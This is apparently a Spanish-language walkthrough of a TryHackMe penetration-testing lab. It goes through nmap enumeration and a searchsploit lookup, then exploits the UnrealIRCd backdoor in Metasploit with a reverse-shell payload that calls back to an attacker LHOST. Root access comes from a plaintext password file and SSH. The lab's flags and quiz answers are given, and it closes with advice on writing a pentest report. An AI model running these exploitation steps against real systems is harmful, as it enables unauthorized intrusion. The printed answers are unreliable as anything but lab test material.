Hola hacketones! Bienvenidos a un nuevo CTF de la ruta completa de Jr Penetration Tester para obtener la certificación PT1: TryHackMe Guided Pentest: Infrastructure

Tarea 1 Introducción
Las pruebas de penetración no son una sola habilidad. Es una forma de pensar. En cualquier proyecto dado, es posible que necesites pensar como un programador para entender cómo falla una aplicación, como un administrador de sistemas para detectar una mala configuración que no debería estar allí, o como un SOC. Pero, sobre todo, hay que pensar como un atacante, alguien que observa un sistema y se pregunta: «¿Qué se les ha escapado?».
A estas alturas, ya deberías tener los elementos básicos. En esta sala te mostraremos cómo usarlos juntos, paso a paso, como lo haría un verdadero experto en pruebas de penetración.
Prueba de penetración de infraestructura
Las pruebas de penetración de infraestructura (conocidas coloquialmente como infra pentests) son evaluaciones de seguridad de los dispositivos en una red. Estos pueden ser servidores, impresoras, cortafuegos o cualquier otro dispositivo con una interfaz de red accesible a través de Internet o una LAN. En una sesión posterior, titulada « Marcos de trabajo para pruebas de penetración formales» , analizaremos estos marcos de trabajo, pero por ahora, tenga presente esta metodología sencilla, ya que constituye la base de todo lo que hará aquí.
- Enumeración: Empieza desde cero. ¿Qué sabes y qué necesitas averiguar?
- Análisis de vulnerabilidades: Analice los resultados de su enumeración y conecte los puntos para identificar posibles debilidades.
- Acceso inicial: Elige tu ataque y ejecútalo; consigue afianzarte en el objetivo.
- Escalada de privilegios: Ya estás dentro, pero aún no ha terminado. Vuelve a enumerar, esta vez desde dentro, y encuentra la manera de ascender.
- Informes: Nada de lo anterior importa si no puedes comunicarlo. Este es el resultado final. En esta sala, solo lo abordaremos conceptualmente, ya que este tema se tratará con mayor detalle más adelante en la sala sobre cómo redactar informes de pruebas de penetración .
Objetivos de aprendizaje
- Utilice herramientas y técnicas para escanear unLinuxanfitrión
- Investigar software vulnerable para encontrar un exploit que funcione.
- Enumerar y escalar privilegios
Tarea 2 ¿Por qué enumerar?
Antes de tocar cualquier vulnerabilidad o probar una contraseña, es fundamental comprender qué se está analizando. La enumeración es la base de toda prueba de penetración y, sin ella, solo se estaría adivinando. El objetivo es simple: obtener la mayor cantidad de información posible sobre el objetivo antes de actuar. ¿Qué puertos están abiertos? ¿Qué servicios se están ejecutando? ¿Qué versiones utilizan? Cada dato que se recopila ahora influirá en las decisiones posteriores. Una enumeración apresurada conlleva la pérdida de oportunidades y, en una prueba real, esto podría significar la diferencia entre un hallazgo y una simple nota al pie en el informe.
Escaneo con Nmap
Vamos a escanear el objetivo con Nmap ¡Ya lo has usado antes, pero ahora lo estás usando con intención! En tu AttackBox, abre una terminal y ejecuta el siguiente comando:
nmap -sV -sC -oN scan.txt MACHINE_IP
A modo de recordatorio:
- -sVLas sondas abren puertos para identificar el servicio y la versión que se ejecuta detrás de ellos.
- -sCEjecuta el conjunto de scripts predeterminados de Nmap, que obtienen detalles adicionales como banners, métodos de autenticación compatibles y más.
- -oN scan.txtGuarda el resultado en un archivo. Adquiere este hábito cuanto antes y te lo agradecerás al elaborar los informes.
Una vez finalizado el escaneo, es hora de revisar los resultados.
Nota: En los ejemplos de este escenario, las direcciones IP, los números de puerto o las versiones del servicio pueden diferir de los que usted obtendrá, por lo que podrá obtener resultados reales siguiendo los pasos indicados.

Responda las siguientes preguntas
¿Qué otro puerto, aparte del 22, está abierto en el host de destino?
6667
Tarea 3 Análisis de vulnerabilidad
Une los puntos
Ya tienes los resultados de tu escaneo. ¿Y ahora qué?
No veas el resultado como un muro de texto. Empieza a hacer preguntas. ¿Está desactualizada la versión del servicio? ¿Existe alguna vulnerabilidad conocida? ¿Hay algo mal configurado? El análisis de vulnerabilidades consiste simplemente en partir de la información obtenida y preguntarse: «¿Qué podría salir mal?».
La salida te dio dos puertos abiertos. El método más sencillo es buscar en Google sus versiones y la palabra clave «exploit».
Por ejemplo, buscar en Google «exploit OpenSSH 9.6p1» podría arrojar resultados sobre exploits teóricos o muy específicos de la distribución, pero nada tangible. Así que lo más probable es que sea un callejón sin salida.
Si te sientes cómodo con los paquetes de Kali, en lugar de buscar en Google, puedes usar la utilidad searchsploit para encontrar exploits. Searchsploit es una herramienta de línea de comandos que te permite buscar en la base de datos offline de Exploit-DB, que contiene exploits públicos y divulgaciones de vulnerabilidades, directamente desde tu terminal.
searchsploit openssh

Nuevamente, nada de interés real, ya que las versiones difieren de la versión que informamos. Sin embargo, al buscar con cualquiera de los métodos el otro resultado de su nmap. El escaneo dará resultados rápidamente.
Responda las siguientes preguntas
Utilice searchsploit para encontrar un exploit para su versión objetivo de UnrealIRC. ¿Cuál es el valor de la ruta para el script Remote Downloader/Execute ?
linux/remote/13853.pl
Tarea 4 Acceso inicial
Ganando terreno
A estas alturas ya deberías haber encontrado una vulnerabilidad en UnrealIRCd que aprovecha una puerta trasera que quedó en el software. Si no la encontraste, no te preocupes, es cuestión de práctica.
Lo bueno del exploit que vamos a usar es que hay un módulo Metasploit para ello. Esto hace que la explotación sea mucho más fácil que modificar los scripts de explotación. Vamos a iniciar Metasploit primero.
msfconsole
Luego, buscamos el módulo que necesitamos.
search unrealircd
A partir de esta lista, podemos utilizar el exploit sugerido contra nuestro objetivo.
use 0

Primero, debemos ver qué debemos configurar para que este exploit funcione.
show options

Como podemos ver, el único parámetro obligatorio que aún no está configurado es RHOSTS(marcado en la columna Requerido ), por lo que podemos configurarlo con la dirección IP de la máquina de destino.
set RHOSTS 10.65.183.31
Todavía necesitamos una carga útil para que este exploit funcione. Podemos listar las cargas útiles disponibles con show payloads.

Dado que no sabemos mucho sobre nuestro objetivo ni sobre el software que tiene instalado, lo más seguro es utilizar una carga útil genérica inversa de Unix.
set payload cmd/unix/reverse
Ahora, si volvemos a ejecutarlo show options, veremos que LHOST y LPORT son necesarios para esta carga útil.
set LHOST 10.65.102.40
set LPORT 443
Ahora que todo está listo, podemos lanzar nuestro ataque contra la máquina objetivo usando el exploit

Una vez que se complete el exploit, podrá leer la bandera desde /home/webmaster/flag.txt.
Nota: Cuando por primera vez obtienes una shell inversa, normalmente es una shell «tonta» sin funciones de terminal completas: carece de control de trabajos, autocompletado de tabulador y, lo que es importante, comandos como su o sudo no funcionarán porque requieren una TTY interactiva para leer contraseñas de forma segura. Actualizar a una TTY completa transforma tu shell inversa básica en una sesión de terminal interactiva adecuada, lo cual es necesario porque comandos como su y sudo requieren una terminal real (TTY) para solicitar y leer la contraseña de forma segura. En esta sala, esto no es necesario, como veremos más adelante.
Responda las siguientes preguntas
¿Cuál es el indicador de nivel de usuario?
THM{Pwned-Y0ur-First-Machine}
Tarea 5 Post-explotación
Escalada de privilegios
Ahora que hemos logrado establecer una posición en la máquina objetivo, necesitamos verificar formas de escalar nuestros privilegios. Busquemos archivos interesantes que puedan ayudarnos en nuestros intentos de escalada de privilegios.
find / -name password* 2>/dev/null
Este comando intentará encontrar todos los archivos en el sistema de destino que contengan la palabra contraseña en su nombre. 2>/dev/null Se suprimirán los errores.
Puedes inspeccionar todos estos archivos, pero uno destaca sobre los demás: /etc/password.txt.
Podemos leer esto con cat /etc/password.txt. Por suerte, parece contener credenciales de root. Como no estamos en una sesión de terminal interactiva, no podremos usar su para introducir la contraseña. Sin embargo, sabemos por nuestra enumeración externa anterior que un servicio SSH se está ejecutando en este host. Abre una nueva terminal y ejecuta el siguiente comando:
ssh root@10.65.183.31
Cuando se te solicite, introduce la contraseña que encontraste anteriormente en /etc/password.txt. ¡Enhorabuena, ahora eres el propietario de esta máquina! Puedes encontrar tu bandera en /root/flag.txt.

Responda las siguientes preguntas
¿Cuál es la bandera raíz?
THM{Escalat1on-D0ne}
Tarea 6 Informes
Aunque hablaremos de los reportajes en una sala posterior, hay algunas cosas que aún deben mencionarse.
En primer lugar, debes tener en cuenta que lo único que el cliente verá de tu trabajo es el informe. Podrías realizar la mejor prueba de penetración de tu vida, en la que seas dueño de todos los cajeros automáticos de un banco y te conviertas en su administrador de dominio, pero si tu informe es malo, significa que la prueba de penetración fue mala.
En segundo lugar, si bien todos los profesionales tienen su propia forma de redactar informes, algunos elementos generales siempre deben estar presentes:
- Una página de portada con un título, tu nombre y dirección de correo electrónico, y control de versiones.
- Tabla de contenido (opcional).
- Un resumen ejecutivo, dirigido al gerente que solicitó el servicio, que explica en términos no técnicos lo que se logró.
- Un resumen técnico dirigido al gerente de ingeniería, para que comprenda el impacto y pueda priorizar en consecuencia (Opcional).
- Una tabla con todas las vulnerabilidades encontradas, ordenadas por gravedad, dirigida a gerentes e ingenieros, para que puedan priorizarlas en consecuencia.
- Sección de explotación detallada, donde se explican cada vulnerabilidad y su impacto, se muestran los pasos de explotación y las pruebas, y se ofrecen recomendaciones para su mitigación. Está dirigida a ingenieros que se encargarán de corregir los hallazgos.
Por último, siéntete orgulloso de tu trabajo. El informe es tu oportunidad para lucirte y mostrarle a tu cliente lo mejor de ti. No te saltes ningún paso y sé lo más detallado posible para ofrecerle el mejor valor.
El siguiente ejemplo es un hallazgo documentado del vector de escalada de privilegios que hemos encontrado en este escenario.
Título: Contraseña de root almacenada en texto plano
Gravedad: Crítica
Descripción: Se encontró la contraseña del usuario root almacenada en texto plano dentro del archivo /etc/password.txt. Este archivo era legible por usuarios con privilegios limitados, lo que permitía a cualquier usuario con acceso a la consola recuperar las credenciales de root y comprometer completamente el sistema.
Pasos de explotación:
- Obtén una shell con privilegios bajos en el sistema objetivo.
- Lea el contenido de /etc/password.txt uso de cat /etc/password.txt.
- Utilice la contraseña de root descubierta para escalar privilegios a través de ssh root@IP.
Recomendación: Elimine inmediatamente el archivo de contraseñas en texto plano y cambie la contraseña de administrador. Las credenciales nunca deben almacenarse en texto plano en el sistema de archivos. Implemente una solución de gestión de secretos o utilice mecanismos de autenticación del sistema configurados correctamente (como /etc/shadow el uso de funciones hash robustas). Además, aplique el principio de mínimo privilegio para restringir los permisos de acceso a los archivos.
Responda las siguientes preguntas
¿Qué sección del informe está dirigida a los gerentes de ingeniería?
technical summary
Tarea 7 Conclusión
Las pruebas de penetración de infraestructura son lo más parecido a lo que hace un hacker malicioso. Todo comienza con una lista de IPs No sabes nada de ellos, y tu trabajo consiste en descubrir sus secretos y encontrar sus puntos débiles.

En esta sala, solo hemos atacado una IP, pero hemos seguido todos los pasos.
- Hemos visto cómo enumerar los servicios en un host objetivo y analizar los resultados para encontrar el mejor exploit para nuestro objetivo.
- Hemos logrado establecer un punto de apoyo inicial en el objetivo utilizando una vulnerabilidad pública explotada en un servicio vulnerable.
- Finalmente, utilizamos lo básico. Habilidades de línea de comandos para encontrar la contraseña de root.

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!